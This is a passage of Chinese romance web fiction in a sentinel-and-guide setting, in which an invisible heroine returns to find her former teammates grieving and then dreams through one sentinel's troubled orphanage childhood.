徐珊珊抬头,两人隔空对视,明明在他眼里看见自己的影子,是演戏吗?她几乎忍不住开口,又憋住了,陪他们玩。 男人深吸了一口气,手指的第一指节不自觉弹跳,心脏针扎般,迈步向前,好像大跨步,其实半米不到。 她能轻松跟上,徐珊珊一路尾随,到办公室前,三急去上了个厕所。 回来后,门没关,她大方跟进。 这儿还是老样子,男人端坐,她也凑上去,桌上摆放着一个相框,先前没有的。 “啊?” 怎么是两人的结婚照啊? 她怎么不知道自己结婚了,什么时候的事啊? 男人从包中取出钥匙,打开下层储物柜,翻出皮夹包,展开,除了各种卡片证件,有一张小尺寸相片,露出苦涩的笑容。 诡异,很诡异。 她起鸡皮疙瘩了,疑惑得张不开口,她怎么会和山昊长官结婚呢?就算要结,也得是—— “咚咚咚”。 房门打开,落在门碰上,卡尔走进来。他的轮廓变硬朗了,眼神凌冽了许多,白帽子和手套,纠察队的徽章。 卡尔走路带风,她避让坐下,只见他走到桌前,手平摊,“请把照片还给我。” 什么照片? 山昊取出黄纸封,露出一沓照片,递还:“本打算下班顺路给你。” 卡尔一张张翻看,确认是原件,没有损坏后,封装,放进口袋。 窃贼可不少,他看的紧。要不是他曾撮合二人,他不会外借。 徐珊珊感到震撼,全是她的照片,生活照、证件照、艺术照,但是…… 怎么两张结婚照一模一样? 她又回忆了一下,确实一模一样,难道她一天和两个人结婚?又扭头看桌上的照片,有点违和。 P的是吧? 只有卡尔手上的是真的,别的都是后期加工的。 P结婚照干嘛? 见他想告辞,她先趁机离开了办公室,没注意到地上留下的印子。 内心还存有侥幸,两手交握,用力感到疼,她是活人,确定这一点。 快上班了,她打算去静音室,走进电梯。 卡尔收好照片,准备离开,被叫停。 山昊:“你觉得她已经死了吗?” 拳头握紧,卡尔平静的面具出现一丝裂缝,“只是失踪。” 山昊:“遗骸存放在哪儿你最清楚。” 什么遗骸,骨灰罢了。 山昊:“你觉得死人会回来吗?” 卡尔神情复杂地望着他,许久,他以为自己偏执,没想到这更有个异想天开的。 “不要讳疾忌医。” 他不信,但男人沉默,眼神笃定,不似说谎的严肃,也许对方真有发现。 卡尔将手放下,“你说的话,是什么意思?” 几分钟后,徐珊珊抵达静音室,外墙上指示灯亮,有人在里面。 清洁机器人吗? 她蹲着等,门开了,趁门没合拢,往里看,有向导在,这不是她的静音室了。 …… 她失业了。匆匆离开,跟着电梯停摆。直到看见熟悉 的数字,“27”,抬脚走出。 熟悉的候梯厅、过道、训练室、标识牌,墙上的人员介绍,她一半认识,一半陌生。 “夏广礼,在吗?” 她鼓气,脸像个包子,又很快泄气,这场恶作剧很成功。 她推开门,室内昏暗,开灯往里走,突然冒出来一个头,吓得她后退,仔细一看,不认识,新人。 “谁?!” 突然灯亮,吓他一跳,起身巡逻,没有人,真是怪了。 她又换了好几个房间,终于看见老朋友。 解队怎么睡在这儿? 这是初次宴会的房间,布置得很温馨,他睡着了,面色疲惫。 让他好好休息吧,她退出去。 门关的瞬间,男人睁眼,掀开被子,衣着整齐,打开光脑回复信息,尘封已久的群聊。 人还没来,她又去看了曼努埃尔和阿瑞斯。 结果两人都不在照片墙上了,人呢? 不好的预感,她梗着喉咙,趁人上厕所时,占用了空置电脑,搜索三人的名字。 失踪,失踪,死亡。 这是不是过火了?没必要这样骗她吧,愚人节,玩得很大。 离开这儿,她又来到二十七楼。 她要再见一见夏广礼。 因为心情沉重,她走的消防通道,推开防火门,走进去,一群人恰巧从电梯内涌出,右手头位就是她相见的人。 他跟解队怎么好像都……掉发了? 男人停驻,往右看去,空荡荡的过道,门敞开着,点了一个人,“关一下门。” 她靠在墙边,心一点点凉下来。装不认识我,好好好,你们都是好样的。 “夏广礼,再装看不见,我要生气了。” 没反应,她扒着墙,准备踮脚拧耳朵,人流走尽,他却直接往前走了,落了空,一股酒味。 没走两步,停下来,夏广礼看见墙角的沙袋,皱眉道:“谁把东西丢这,训练不要了?” 人走尽了,他迈不出腿。 心乱如麻,一直如此,路上收到乱糟糟的消息,一群疯男人,却又忍不住期盼。会来找他吗? 人都走了,杵在这儿干什么。徐珊珊坏心眼地踩了他一脚,鞋面都凹下去了,人没反应。 没反应?有的,他低头看脚,许久,像要看出花来。 知道痛了,她又踩了另一只脚,只可惜运动鞋,没细跟,不然有他疼的。 男人蹲下来,开始扣自己的鞋面,嘴里念念有词,深情地望向鞋前空气。 夏广礼感到血冲大脑,他有点相信他们说的话了,怎么办? “珊珊。” “夏广礼,你个笨蛋,终于认出我了。” 他蹲下来,比她矮,就能顺手掐他了,只旋转了一个角度,男人突然伸手,但他往前扑,但她的手在后面。 他一把扑到地上,却什么都没碰到,趴倒,触感冰凉,额头抵在地上开始恸哭。 以为她是去追逐自由,玩够了会回来,一直等她回心转意,想她多久会回来。 男人一手摸着耳朵,一手撑着爬起来。如果时光倒流,一切重来…… 向导小姐被惊到了,他这是真情实意地难过,不过刚才,是想抓她? 她认清现实,别人目前看不见她,听不见她,想回宿舍,独处一会儿。万幸,还没被收回。 室内家具被布裹住,揭开,没落灰,墙上有她的照片,跟遗像似的。 房门砰的撞在门框上,她惊诧起身,应该是走廊的风。 她考虑了一会儿,还得找别人合作,不然早晚沦落到流浪境地,至于找谁…… 门打不开了,她起初以为是反锁,后续发现,无论如何都打不开,猜测是有人锁门。 好消息还是坏消息,得看锁门的人是谁了。她挪步到窗边,拉开窗帘,发现外悬停着一排鸟儿,拔光胸前大片羽毛,头大身小,像小秃鸡。 她认出来了,但窗封死了,打不开。只能撕纸写字:饿。将它抬起展示。 群聊里消息不断,众人激动得不能自已,沉寂了多年的后援群,突然热闹起来。 【我在外面,暂时回不来,看好了,别让人跑了】 在外执行任务的队伍,得知消息,纷纷决定加快速度,尽早回塔。 房间内,她坐在桌前,开启电脑,发现日期跳转到多年后,网上搜索得知: 曼努埃尔重新入队,但在一次任务中失踪,其他人多是频繁出任务,要么异化,要么战死。阿瑞斯死了,肖寒死了。 危险区扩大,白塔的保护范围缩小了,前线变得更危险,冲突更频发。 获取完信息,她翻找抽屉,找到一本相册,性感照片,怎么有点眼熟啊?这不是——她笑容僵住,放了回去。 思绪被门铃打断,有人来了。 第57章 门刚打开,一阵霹雳乓啷的响声从厨房传来,室内摆设被动过了,在监控里,无人出现,门却自己开了。 众人走进房间,散开,唤她的名字,赶在后面的人手里拎着餐盒,气喘吁吁赶来,将它放在桌上,人在哪里? 看不见,听不见,没影子,跟鬼一样。 见对方不打算出来,山昊点头示意,“找吧。”挖地三尺也要把人找出来,哪怕是非人类。 因为厨房传来声响,先往这儿来,但翻了一圈,连跳上灶台,去摸天花板,都没有收获。 徐珊珊松了一口气,她正趴在衣柜上,打算先观察一番。几人分别去往不同房间,还有人堵门。 为了试探他们,她先后搞出几次动静,出乎她意料的是,没人惊慌,反而根据物体的运动轨迹,往这聚拢。 守门的卡尔心里嘀咕,不知道她该吃什么,只带了人类吃食。如果是其他形态,可能摄入其他物质。 夏广礼走近,头顶戴着一顶大檐帽,帽檐挡住了脸,拉开柜门翻找起来。 她趴在边沿,手往下伸,捏住帽顶,横向给它扫到地上,然后就看见了略显稀疏的头顶。 抱歉,她就是故意的。 谁让他认不出来,顶上长灰,先前在外面有些冷,她突然喉咙很痒,手捂住喉咙,剧烈咳嗽起来。 后脚也勾不住柜顶,整个身体往前滑落。从刚才开始,这儿就围了一圈人,倒下去有多个人可以垫背,她想都没想,直冲夏广礼去。 倒霉蛋,就决定是他了。 幸运的是,一下子扑到了男人背上,他身体一晃,然后稳稳站住,手扣住肩膀,腿叉在腰上,她的心落下来,捏了一把男人的脸。 这对哨兵来说,不算很强的冲击。 熟悉的动作、姿态、力道,刚停下的男人僵住了,手放到后腰托住。 一旁的解逸飞抬起手势,示意找到了,门骤然合拢,窗帘关闭。 “哈喽~” “诶?” 一道力从身后传来,迫使她从背上离开,悬在空中,像一床被子一样被抱住,然后放上了床。 她的手撑在被子上,清楚地印出轮廓,一串蛛丝从下方射出,伞状散开,裹住下身,像强力胶水,束在上面动弹不得。 她用手去扣,左右翻滚,结局就是越缠越紧,然后放弃挣扎。她就开个玩笑,不用这样,不吃人的。 没人说话。 坐在椅子上的人,站在门口的人,双腿张开站在床边的人,还有开始脱外套的,不太对劲。 男人的手掌靠上来,极其缓慢地,沿着轮廓摸索,声音有点虚,“是你吗?” 她点了点头,想要往后躲开,“不是,等一下!” 未说尽的话被咽下去,涂过润唇膏,油润但仍然感受到干燥触感的嘴唇,两人因为蛛丝黏在一起,宽大的手掌托起下颌,挣扎的两只手被扣住,抬起,放在脑后。 两具身体砸在床上,一开始,她剧烈反抗,但发现,这人沉得像一堵墙,推不动,反而她越用力,对方就更用力。 只好先不动,过了好一会儿,夏广礼才放松下来,力道放松,脸与脸之间有了空隙。 太没礼貌了。 “要委屈你先在这儿待一会儿……” 她刚想清理腿上的蛛丝,陡然听见长官来这一句,更恼了,抬起枕头砸过去,被接住,但眼镜被砸歪。 身边的人,仍只看到一团空气,突然一下,夏广礼 的脸侧向一旁,啪的一声,反将手放了上去,嬉皮笑脸的蛮不在意,伸出另一边。 又黏黏糊糊缠上来,她有点烦,手指在对方的脸上画了一个大大的叉,“松开。” 气流吹拂在脸上,好像带了点热气,他好像能想象出她的样子,搂得更紧了。 多了一堵墙,她将上身往后靠,偏硬的衣料皱缩,回头一看,是卡尔。 这才是她法定的丈夫吧! 徐珊珊觉得,卡尔一定会听她话的,将手抽出来,扭腰转向,试图沟通。 “放开我。” 卡尔:“抱歉,现在还不可以,请再忍耐一下。”接着递给她一个发声器,这样就能交流。 悬空的机器,按压又弹起的按键,屏幕上一个个闪现的字符,最后输出一段女音,竟然与她音色相似,只是略显机械。 “你们这样做是犯法的,我要举报你们!!!” 三个感叹号被机器识别,发出情绪强烈的句子。 没想到她会这样抗拒,而且这幅态度,似乎与他们不相熟,卡尔向其他人示意,决定解开束缚。 夏广礼想起刚才的感觉,似乎衣料单薄,抬手喊:“拿件外套,这个天穿短袖,会感冒的。” 衣服经由他手递过来,被扯了过去,至于本人,被嫌弃地挥到一旁,又被一顿骂,但他看着浮空的外套,只是窃喜。 虽然很紧张也很关心,但没人急着问话,而是先来到餐桌前,因为她说饿了。 她确实饿了,但面对着一群人围观的画面,也确实很难吃下饭。 自己就像动物园里的大熊猫,吃了两口,膝盖和谁碰上了,她停下筷子,往右边瞥了一眼,不可能是卡尔,他很老实。 顺序第二位,山昊长官,也不可能。 第三位,太远了,腿应该没那么长。算了,她很想用目光巡视一遍,但其他人看不见,用发声器的话,又显得大惊小怪了。 将腿歪向左侧,继续吃,又有人碰她,虽然分不清是谁,但随脚踩了回去,桌底开始扑腾,到底是谁? 她往右歪身去看,各个坐得比值,小腿和大腿垂直放,规矩得很,又往左看,同样如此,一个比一个更正经。 山昊:“怎么了,饭菜不符口味吗?” “没有。” 卡尔的嘴抿成一条线,他这话什么意思,暗地里点谁呢?自己可比他更清楚向导的喜好。 “挺好吃的,我很喜欢,谢谢你,你们。”她不清楚谁准备的,但挺满意。 山昊:“不够还有。” 见旁人投来意味深长的一瞥,山昊面不改色地应下了,“需要什么就和我说。” 卡尔:“我会照顾好她,不需要领导多操心。”把关系拆得很远。 火药味渐浓,但夏广礼不在乎,虽然暂时没名没分,但他相信,两人的情谊是最深的,会是最初以及最后的羁绊。 但解逸飞比他更快开口:“跟从前一样,任何时候都欢迎您来空战组。” 好郑重的承诺,她没意识到这是怎样的誓言,草草应下。 面上都很和谐,没有谁不微笑。但餐桌之下,乱成一团,彷如斗兽场。数只精神体扭打在一起,老对头掐得最狠。 好像有什么东西掉到了脚面,她俯身去捡,冲突停止,发现是一片银杏叶,再往里看,是站成两排的精神体们,分得挺开,各个昂首挺胸。 “哈喽。” 刚开口,想到它们听不见自己说话,想将小蘑菇放出来,它却安静地沉睡,无法唤醒,不明白原因,又收了回去。 饭后,餐桌被收拾好,众人围坐一起,问话从一个简单的话题开启。 卡尔:“……最近过得如何?” 这话就问到她盲点了,“挺好的。”她只能这么回复,接着是一连串的发问,她也不时反问,比如说其他人去哪了。 她站起身,旁人也立即站起来,像是条件反射,跟在身后,亦步亦趋。 她站到门边,回头看,远远近近的一串人,紧张成这样。 “我要上厕所。” 她往前走,顿住回头,就像玩一二三木头人,又近了些,她不由得警告道:“不准进啊。” 卡尔点头,守在门口,其他人停脚,她才转身往里去,关门锁紧,开灯。 人蹲坐在马桶上,连盖都没开,其实她不想上厕所,只是来躲一躲,思考一下人生。 通风系统开启,风徐徐吹。 山昊:“来日方长。” 他们着急,但太冒进的举动,只会吓到对方,看起来,她真的对此感到陌生。 时间一点一滴过去,她想好起身,洗手擦干,想要打开卫生间的门,但这间屋子却像纸片,开始融化、焦黄,最后在烈火中消失。 在一切消失前,她只听到数声呼唤,似乎是在喊她的名字。 “不——” 像晚钟的响声,漫长而撕心裂肺的呐喊,其中蕴含的强烈情绪直冲大脑,心脏也跟着一紧,有些刺痛。 大口喘气,她睁开眼,立刻裹紧了衣服,身处黑暗中,寒气从衣领窜进来,果然是梦,发现自己身处一张木板床上。 一道烛光,暖黄色的微光,放置在桌上,照亮方寸之间。 牙齿被冷得打颤,这儿没铺床垫,硬得硌骨头,不明白是怎么在这儿睡着的。她坐起身,翻来翻去,只在兜里摸到一叠纸钞。一道人声响起。 “谁的床在响?!” 不满的埋怨声,嗓音带着孩童的明亮,她立刻停下,床板震动,下铺有人。那人翻了个身,不动了。 “跟身上长了跳蚤一样,整天不安分,怪不得没人要。” 接下来是一连串的语言冒犯。 但下铺的人很安静,默默忍受了很久,直到他们发泄完,才开口,试图为自己解释:“有老鼠。” “老鼠,你是不是偷偷藏馒头了,中午不是说吃完了吗?” “好啊,敢骗老大,明天有你好受的。” 他面对威胁没有回应。 时间久了,她的眼睛逐渐适应,这群小孩都安分地睡在床上,闭着眼睛,乖巧得不像样,完全想象不出那些话是从他们嘴里说出。 装睡技巧高超,比她小时候强多了,根本看不出来。 这地方有点破旧,凉意渗透每一片肌肤,太冷了,扛不住,她尽量缓慢、轻手轻脚地爬到楼梯边,打算去找件衣服。 但这锈蚀、松动的床铺,不禁晃动,再次发出咯吱响声,这让被称为“老大”的人更加生气,吼道:“让你安静点你没听到吗?” “待会儿把护士惹来了就满意了!” “对,对不起。” 这个人的声音更稚嫩,应该是年纪更小的孩子,她心里道了声歉,对不起,小孩,先混过这一夜,明天我再回来看你。 继续沿着楼梯往下爬,终于脚踩到地面,而门外的脚步声也恰时响起,她紧张地蹑手蹑脚走到角落蹲下,房门打开,光照进来。 提灯的男人应该就是孩子们口中的“护士”。 第58章 两人一进一出。她下楼,找到一间敞开的办公室,苟进去。 没一会儿,有人靠近,她的身体紧绷起来,又听到推门声,男人检查确认后,锁门离开了。 开灯、开空调,随着暖流填满空间,全身放松。 次日清晨,窗外有汽车嗡鸣,陆续有人上车,是接送的班车。她打算去趟市区,也溜出去,偷 偷坐上车。 她用兜里的钱,买了一套棉服和靴子。然后,打算去买早餐。 “包子,我的包子跑了——” “你看见没,我的包子~~~” 老板将手抹在围裙上,诧异地擦眼,他刚蒸好的小笼包,才放在台面上,连带着其他的一起跑路了,在空中飘走。 顾客坐在一旁的矮椅上,盯着股市行情,听到喊叫,慢悠悠抬头,而她已经跑过街角。 老板以为自己见鬼了,低头一看,嚯,一百块。闷不做声地将它揣回兜里,管他呢,没睡好,眼花了。 “等等啊,马上好了。”今天运气好,卖完早点收摊。 跑离视线,她松了口气,扒着墙,分别收进左右口袋,棉衣鼓出一坨。 刚一抬头,一只大黄狗站在面前,湿润的鼻头耸动,似乎在嗅闻。 她尽量镇定地挪脚,想退回到大街上,她要回去。 狗一路跟随,甚至站在面前挡道,对峙起来,她犹豫着,是否要拿出一个肉包贿赂对方。 手掏向口袋,但叫喊声从身后传来,“旺财!” “旺财——” 黄狗的尾巴抬起,摇得更勤了,头往家的方向看去,有点不舍,直到主人身影出现,它汪了一声,迈着四条腿悠然离开。 她松了一口气,走到人行道上,打算离开居民区,乘车回去,心里惦记那个小孩。 顺利抵达,因为棉服口袋捂着,包子还冒着热气。 她跟在男人身后进去,保安称他为张老师。 但小孩不在寝室,她又返回,往有讲课声的教室走去。 正准备播放动画,张老师走到门边,两人对视,视频暂停。 “阿瑞斯,来一下。” 两人离开,她也跟了上去。小孩坐着,弓背低头,两手握拳,放在膝盖上,怯生生的一双眼。 “张老师。” “嗯” 男人从抽屉里取出一沓资料,他也才刚知道,起身给两人分别倒了一杯茶水,有些不忍说出口。 “他这个月是不是不来了?” 阿瑞斯问的是他的父亲,把他送进福利院,又很少来探望的男人。 “我有件事要和你说。” 这份慎重让他紧张起来,眼神落在地面,来来回回,久久地回了一声:“嗯。” 他父亲死了,遗体在出租屋里被发现,找不到其他联系人,才通知到这儿。 泪水很快在男孩的眼里酝酿,从眼底涌上来,逐渐覆盖全眼,外溢,流过红苹果似的脸蛋,直到按捺不住,仰头嚎哭起来。 这一幕让她的胸口也闷闷的。 张老师不会安慰人,只宽慰他道:“要坚强。” 从遗物里,那人坚称阿瑞斯是某人的私生子,但对方不认,又没有其他亲属,这下是真成孤儿了。 以前他父亲还会时不时寄钱来,只是人来得很少,匆匆见一面就走了。 “给你放两天假,之后我们也会给你找领养家庭。”又说了一番话后,男人挥手道:“回去吧。” 男孩开门,往走廊外冲,直到门口,被人拦下来,环抱起来,哭声回响,将他半压半哄地带回宿舍。 她一路跟着,蹲在床旁边。阿瑞斯平躺在床上,侧着脸,泪水积在床板上,往下淌。 她说不了话,就掏口袋,取出包子,放置在床板上,残余的热气冒出,飘到男孩鼻尖,唾液分泌,他扭头看过来,晃神看了许久。 许多思绪交集,人声在脑中放映,死亡意味着,不再看见,不再听见,不再交流。 父亲说是小三毁了他们的家,说母亲很爱他,他是两人爱情的结晶,都是因为被勾引、被哄骗,她总有一天会分手,和他们在一起。 阿瑞斯见过,名为母亲的女人,精心打扮的他,讨好的语气、眼神。她自上而下地打量,询问,但他回错话了。 她起初来过几次,但后来就不再来了,似乎成了另一个家。 像一个悬在空中却永远也吃不到的糖果,随着年纪渐长,男人日渐蹉跎,逐渐歇了心,一遍遍反刍原因,最终患上心理疾病。 小孩可能并不明白,为什么父母都不要自己,只记下了那些攻击性话语,并把责任都怪在自己身上,就好像,只要真的足够好,就能改变现状。 赔钱货、不要脸、废物、拖油瓶、没人要的东西。 她在一旁很担心,因为小孩不吃饭。 下课铃响起,人们陆续走出教室,她想了想,又收回口袋,待会没人了再给他。 仍有人挑衅,是几个大孩子,高出一个头,天真的脸,说着毫不客气的话。 但昨天咄咄逼人的人,态度缓和许多。 “从今往后,我们是一样的了。” 阿瑞斯听了这话,抬起眼睛,不同于昨夜的怯懦,开口骂道:“滚。” “说什么呢?” “诶——”领头人拍拍身旁人的肩膀,“走了。”先可怜可怜他。 她看得生气,小小年纪不学好,走到身后,一人给了一个脑瓜崩,直把两人打得捂头大叫:“谁打我?” “哪有别人?走了,一会儿老师要找了。” 人走后,她怕吓到他,没出声,一袋留给他,一袋自己先吃点。肉香在空间内弥散,男孩将头捂进枕头里,还是不吃。 别人从食堂回来,发现了这袋食物,问他不回话,抢了去,也没反应。 一直到傍晚,老师劝他去外面散心。 院子中间的娱乐设施很热门,他来到侧面,花圃外的空地坐下,对着小野花发呆。 她还留了一个给他,只是完全冷了。放在一旁,又拉扯衣角,对方低头看过来,不明白是谁放的,但没心情吃。 不一会儿,三人靠过来。这儿似乎也是个丛林社会,恃强凌弱,拉帮结派。 以前,从体格和性格上来说,阿瑞斯属于软柿子,好捏还不反抗。 他一直想表现得好一点,不愿惹事,希望老师和爸爸说:他在这里很乖,不会给他惹麻烦。 工作人员无法每时在场,也不是家长,管教不了太多。 见此情形,她站起来,这群人打算做什么? “你又是从哪儿来的肉包,别是偷来的吧?” “肯定是。” 肯定不是,这包子口感都不一样,是外面买的。 “把东西拿来。” 男孩抬起头,眼睛朝上,瞳仁靠上,下边露出眼白,很凶地瞪人。 小绵羊长犄角,想反抗了。另外几个大孩子,走上前,将他团团围住,这位置偏,没人会看见。 “怕什么,动手,他爸死了。” “就算不死,也不会替他出头的。” 这句话引燃了导火线,但攻击由阿瑞斯首先发动,他似乎是真正的战斗天才,给她看愣了。 她本准备下黑手,教育一下,但现下这情形,似乎用不着自己出手,他以一打三,不落下风。 这架势,有点眼熟。 昨晚的那个受气包,仿佛完全编了一个人,眉眼也逐渐重叠起来,好像是有点像。 饶是体格小上一分,他仍然能打个来回,下手又狠,不避讳要害部位,一副不怕死的劲头让人畏惧了。 扶着膝盖蹲在一旁喘气,其中一人疼出了眼泪,三人放下狠话,一瘸一拐地离开。 身上被抓花,红痕像肿块,小孩又坐回原先的位置,握住那个包子,撑在膝盖上,边啃边掉眼泪。 分明是冷的,他吃得很香,吃完后,她又递出最后一个,本来打算明早吃的。 面对突然出现的东西,男孩愣了一下,但不知为何,没有惊奇,没有恐惧,平静地抓着吃了。总不至于是期待死亡。 时间快流,经历像幻灯片放映。 她像个旁观者,见证着一切,上课与下课,志愿者的来访和消失,约定和失约,往外看的背影。 儿童福利院有时会迎来领养家庭,夫妻两站在门边打量,室内的孩子表现得很好,如果有意向,会安排进一步了解。 阿瑞斯也会表演才艺,但没被领走,他面上乖巧,实际已是院里一霸。 由于污染扩散,外人逃难,孤儿增多,失孤父母、无法生育的夫妻变多,他因为年幼,被人领养。 一年后,他又被退回。对方意外怀孕,有了自己的孩子。他变得更易碎。 度过小学,进入初中。 他成绩不好,能力弱,没有师长庇护,学生群体人员混杂。 厕所,烟雾萦绕,抽烟的学生在挨个打量。 “你是哪个班的?” “算了,他没爹妈,也没钱。” “原来是个——” 听到里面传来碰撞声,她想阿瑞斯的暴躁脾气是逐渐养成的。路过的学生看了一眼,退出来,换了个地。 铃声响起,少年走出来,脸、脖子上青紫一片,蛮不在意地往教室去,报道后回到后排走下。 他成绩差,老师并不关注,而同学交往甚少。这里环境混乱,治安一般。放学时,离保安室不到十 米,一群校外的人围着一个学生。 那人被拖到地上,背靠着高台阶,眼里畏惧,其他学生要么登上公交车,要么步行离开,没人敢多管闲事,对方是更强壮,不好惹的社会人士。 直到阿瑞斯走出来,他的领带打得歪斜,随意地冲撞人肩,走进去把人拎起来,“怎么不回家?” 突然冒出来惹事的人,“管什么闲事?” “我同班同学,就管闲事,怎么了?” 她有点怕,因为这群人裤子口袋里鼓鼓囊囊,棍子边缘冒出来,是带着东西的。她想去喊保安,但人已经打起来了。 又是一场架,他因此被学校批评,那位同学没有勇气站出来,澄明事实,他在混战中离开了,甚至不敢对视。 理论上,他考不上高中,只能去职校。但被教练发现了天赋,被招入体校。从一个无人在意的差生,变成潜力无限的明日新星。 已经成长为青年的阿瑞斯,意气风发地站在赛场上,拿下一枚枚金牌,荣誉加身。 她站在高处走廊往下看,不一会儿,楼梯间响起脚步声,两个人从中走出,她定睛一看,是阿瑞斯和邵江,他两这么早就认识了么。 两人一路走到角落教室,推门,里面用桌子抵着,阿瑞斯一角踹开,发出刺响,门开了。 “会长……” 里面的人停手,退散开,一改先才的盛气凌人。 邵江:“在干什么呢?” “我们是朋友,在这儿玩呢,对吧?”青年刨了一脚倒在地上的人,对方愣了一会儿,又想起那句传言,鼓起勇气说:“我不认识他们。” “你说什么?!你这个骗子。” “他们把我骗到空教室来,说……” 那群人才知道怕了,见骗不了,开始求饶,见会长不为所动,又转向邵江,他向来好说话些。 邵江:“关注你们很久了,上次打招呼,好像没听进去。” 阿瑞斯:“你先出去。” 少年跑出教室,门被轻轻带上,邵江站在门边,两手交叉放在身前。 “你不能打我,我爸是——” 接下来是拳拳到肉的声音,她站在门外听得胆战心惊,一面担心他们被发现,另一面,担心对方会报复。 阿瑞斯竟然是学生会会长,怎么选上去的?她琢磨一下,明白了两人的组合,维持校内治安,一个负责以理服人,不服的话,另一个人也懂一些拳脚。 “这儿归我管,记住了。” …… 果然不出所料,两人后续遭到报复,好勇斗狠的人免不了受伤,但对方似乎并不在意,幸运的是,两人先后觉醒,成为哨兵,一步登天。 先前嫌弃的初中校长也一改态度,用他为学校增添荣誉。 进入白塔,经过训练,考核高分,最终与好友分到一起。后来,屡次立功,上表彰墙,晋升飞快。 阿瑞斯的战斗风格和性格、异能相关,十分激进,能打会打抗打,恢复快,又不畏死。平日里,也是路见不平一声吼的性格,还帮忙抓过通缉犯。 时间流转,画面定格到人群中的那一瞥,这是在看谁?好像是个女人,下一秒,她转身而来,端着餐盘,亲切问候:“可以坐这里吗?” 男人的手攥紧餐勺,眼睛上扫,又很快下垂,“可以。” 她这才发现,这个女人是自己,她笑着问他:“你叫什么名字?” “哈哈哈~”她禁不住捂着肚子笑起来,最幻想的一集。 他似乎还不满意,时间再度回转,来到几年前。 一道小巷子,女孩往里走,路边台阶旁,一个纸箱子在翻动,她好奇地蹲下去,发现里面有只黑狮子。 “小猫咪,好乖。” 徐珊珊站在一旁,满头黑线,小、猫、咪?小在哪儿?这是个装双开门冰箱的大纸箱啊。 “嗷~” “诶?” 嘴巴合拢,差点露馅了,它趴在纸箱边缘,重新开口,“喵~” 看得出来,很努力了,就是嗓子有点粗。但女孩不在乎,她发现纸箱子推不动,继而摸了摸狮子头。 “小黑,你跟我回家好不好呀。” “喵~” 带着倒刺的舌头混着口水舔上去,糊了一手,但她疑惑道:“可是我推不动,你太重了。” 黒狮子轻盈地跳了出来,原来先才是蹲着的,站起身时,肩高就与她差不多了。这家伙骗小孩呢? 徐珊珊拐到侧面看,更震惊了,怎么又是她? 女孩骑在狮子身上,两手拽着耳朵,一边指挥,“往前面走五百米就到家了。” “喵~” 这家伙,变成哨兵后,想的竟然是兽化,然后找人收留吗?流浪小猫需要一个家是吧。 然后她就看见了,阿瑞斯白天在白塔工作,出任务,攻击性十足,晚上洗白回家当小猫钻被窝。 这就是你的终极梦想吗?阿瑞斯。 融洽的日子被一个意外打破,这一天了,一只小鸟撞上了窗户,掉在窗沿,女孩见了,把它带进来救治。 阿瑞斯回来时,发现房间里多了不属于她的气味,被放在保温室里的生物,伸出手掌扒拉,被女孩看见,又乖巧地蹲下。 “小黑,不准欺负它,知道吗?” “喵~” 但这家伙抢夺了主人的注意力,她的兴趣也逐渐转移,是可忍孰不可忍,他正打算趁人不在时,给它新生。 她完全没意识到,还以为相处融洽,毕竟小鸟能站在头上啄毛,完全没察觉到危险。 接着,她就穿进去了,应该叫意识融合。 鞋子刚穿好,她转身看,狮子摇着尾巴目送她,似乎迫不及待地等她离开,徐珊珊嘴角抽抽,算了,宠你一次。 她把手指伸出去,鸟儿便站到手上,接着蹲下,摸头,“只要你一个宠物,它伤好了,我们放它离开,好不好?” “喵嗷!”好!他兴奋地跑到沙发上,用爪子勾开窗户锁,推开窗户,向她点头示意。 她来到窗边,将小鸟放生,看狮子肉眼可见地开心了起来,忍不住搂住它,轻轻唤了一声:“辛苦了,阿瑞斯。” 至此,梦境破碎—— 作者有话说: 阿瑞斯:这个家里,只能有一只小猫咪!!! 第59章 次日,两队交换人质。 重伤的男人被搬进车厢,车尾金属插板下挂,队友为他取下脸上的胶带和口塞物,张嘴耳语,手掌朝她微微抬起。 邵江走近,转述说:“他想同您道别,您是否允许?”她犹豫不决。 “你想见他吗?” 夏广礼靠坐在草堆边,旁人正在为他处理,几日内,伤势恢复许多,只是手指按下小腿肚时,久不能回弹。 她的目光在两人间回荡,有些为难,夏广礼苦笑一声,如果她想的话,“去吧,给他的颜色瞧瞧。”男人侧头,大半张脸被头盔挡住。 他的大度让人意外,只有处理伤口的人才能看见他咬牙切齿的脸,口是心非。 轻巧的脚步声奏响,女人跨过空白地带,其余人保持紧绷,以防意外发生。 考虑到他受伤,她打算上车,邵江走过来,单膝蹲在地上,示意她踩着大腿上去。 佛尔克站在旁边,见她摇晃,触发本能,准备上前搀扶。遗憾的是,别人更快。这速度令人咂舌,所以其他动作都是伪装,根本没移开过视线吧。 徐珊珊:“谢谢,你力气很大。”她没想到对方能单手拎起她。 来人挥手点头示意,他整张脸被裹住,分不清是谁,鼻梁挺得要戳破面罩,笑容也被挡住。第一次见这种装扮,她不由得多看了两眼。 “唔——” 闷哼声从里面传来,很响亮,不舒服吗?她的注意力被吸引过去,走进去坐下,手抓着围板,俯身靠近。 “怎么了,”她上下检查,看男人没有流露出痛苦神色,应该没出事,“有什么话想说?” 他享受她的目光注视,但很快,她就望向别人,男人抬手向上,放到腹部,四指往上勾。 毕竟是敌人,她没有理睬讨好动作,只是询问:“有事吗?没有我走了。” 人一下子支棱起来了,医学奇迹,很快啊。她呆了两秒,怕他激动,也没乱动,“你躺好。” 眉眼如画,高鼻深目,睫毛颤动时,她的倒影落进清透瞳孔。两张脸庞重叠,她又想起昨夜之梦,一下子慌了神,视线转移。 男人张嘴,讲话含糊,很多气声,她听得直皱眉,听不清。她将耳朵贴过去,“你说什么?” 两张脸靠近,彼此的呼吸融在一起,男人的眼睛睁开,目光锁在她脸上,近距离地看,咽了口唾液。 一块石头被踢开,落到前人脚边,惹得洛朗停止擦枪动作,往回看,原来是自己冲动的弟弟。对方抱肘用力,将紧身衣撑开。 洛伦斯心情很差,这男的靠太近,摆明了勾引,偏偏对方还看不出来,恨不得给他脸上来一拳。 向导小姐对他们还是不够了解,也不懂什么白莲战术,她是真爱惜。 至于为什么不向她揭露这一点…… 洛伦斯听见细微的咔咔声,扭头说:“别扣了,钢板都被你掰歪了。” 成为焦点的向导小姐也很紧张,她的内心在打架,昨晚才说狠话,但想全然厌弃,又做不到。 “昨夜,来的是你吗?”很暧昧的一句话。 这话纠回了女人的心,是他的梦? 她眨了一下眼睛,实话实说,“是我,”末了还补上一句,“全程我都在。” 肖寒一下子收到许多注目,他摊开手,回应那些质疑,他整夜陪睡,两人绝没有单独相处。 这事只有解逸飞知道实情,应是梦中相遇,唇抿成一条线,她梦见了他,看晃动的鞋底,瞧他高兴的。 